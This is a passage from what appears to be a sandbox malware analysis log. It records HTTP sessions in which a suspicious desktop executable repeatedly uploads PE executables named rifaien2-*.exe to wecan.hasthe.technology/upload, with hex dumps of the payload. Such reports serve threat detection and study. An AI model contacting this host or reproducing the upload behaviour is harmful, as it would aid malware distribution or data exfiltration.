Oct 10, 2024 21:02:51.777367115 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:52.108369112 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:52 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:52 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bMhLs1JuIctPDKxByVwm%2Bq%2FnucoCQPNAouu4kQsGp4Q9qh4Mbq39WL5ra6vwIeZBohE5ltEBZeYxZMhJ8PTc5BNiWA%2B9akSy9adCvpzlSQdZ6MMohgFTkFLDkd98bCeA%2BfxO0EJeEvAVbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddfd5e448cda-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50597	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:52.288927078 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------1d7255d7ea7d95bf
Oct 10, 2024 21:02:52.746651888 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:52.747454882 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 64 37 32 35 35 64 37 65 61 37 64 39 35 62 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------1d7255d7ea7d95bfContent-Disposition: form-data; name="file[]"; filename="rifaien2-GswVbQAeth6AirwL.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:52.747617006 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:52.752760887 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:52.752872944 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:52.752873898 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:52.752933025 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:52.753235102 CEST	9888	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:52.753341913 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:52.757827044 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:52.758375883 CEST	14832	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:02:53.049496889 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:53 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:53 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Toa6tzCJlkxiZ8s0HT2VD5lbFE37rcBlAv7CNyFd4N%2BvGOYcrjdpoBp9c62WnVKhY%2BXO8ILXu6gWFuwRTzJvQHkfLd6id7YmatC5WrXwG2IWcNmwHFoEvmNshmkHxWrt7Y7hcPywzgSFyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de037ae84277-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50604	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:53.198116064 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------be4076f175c3cfbc
Oct 10, 2024 21:02:53.626444101 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:53.627305031 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 65 34 30 37 36 66 31 37 35 63 33 63 66 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------be4076f175c3cfbcContent-Disposition: form-data; name="file[]"; filename="rifaien2-A6jVTXjeaWbirx4X.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:53.627463102 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:53.632781982 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:53.632781982 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:53.632966042 CEST	7416	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:53.633025885 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:53.633220911 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:53.633253098 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:53.638081074 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:53.638416052 CEST	9888	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:02:53.926218033 CEST	825	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:53 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:53 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BJAITB8oecSxeU%2Bbh5WTtIy9MEE7VBFJQP5XiaSjAJccAxwdgrxfG5PzV%2FKDvJ05%2Bu0hz%2BdoMzo61Mr05yC7ySnQq7ukiUoOmnN%2BCZ1Ybpp9%2FvnEyk7%2B8U%2F4wMPquRS8cBUSN6DMnN2Fjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de08f9df421f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50610	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:54.062248945 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------9ebeedf5b179b265
Oct 10, 2024 21:02:54.506931067 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:54.509242058 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 65 62 65 65 64 66 35 62 31 37 39 62 32 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------9ebeedf5b179b265Content-Disposition: form-data; name="file[]"; filename="rifaien2-3v9iLS8WuKhI5HYt.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:54.509567022 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:54.514844894 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:54.514844894 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:54.514941931 CEST	7416	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:54.514976978 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:54.515031099 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:54.515058994 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:54.521646023 CEST	7416	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:54.521687031 CEST	2472	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:02:55.050304890 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:54 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:54 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UHfiU2JnHMs%2Bf2xqD%2FBC%2FiVUVOtqw88Ec4dca2PFIDWHnrNHOlHX71p7xTc9iDwwGZ1NTghGmRHTSkzMC8CBB08RWgxkmrrZ0ViyXC%2BlA6WoAGKsKkshtI0GXnKqx5tNdjIEW3T8SrlvqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de0e7d0c431b-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 10, 2024 21:02:55.050561905 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:54 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:54 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UHfiU2JnHMs%2Bf2xqD%2FBC%2FiVUVOtqw88Ec4dca2PFIDWHnrNHOlHX71p7xTc9iDwwGZ1NTghGmRHTSkzMC8CBB08RWgxkmrrZ0ViyXC%2BlA6WoAGKsKkshtI0GXnKqx5tNdjIEW3T8SrlvqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de0e7d0c431b-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 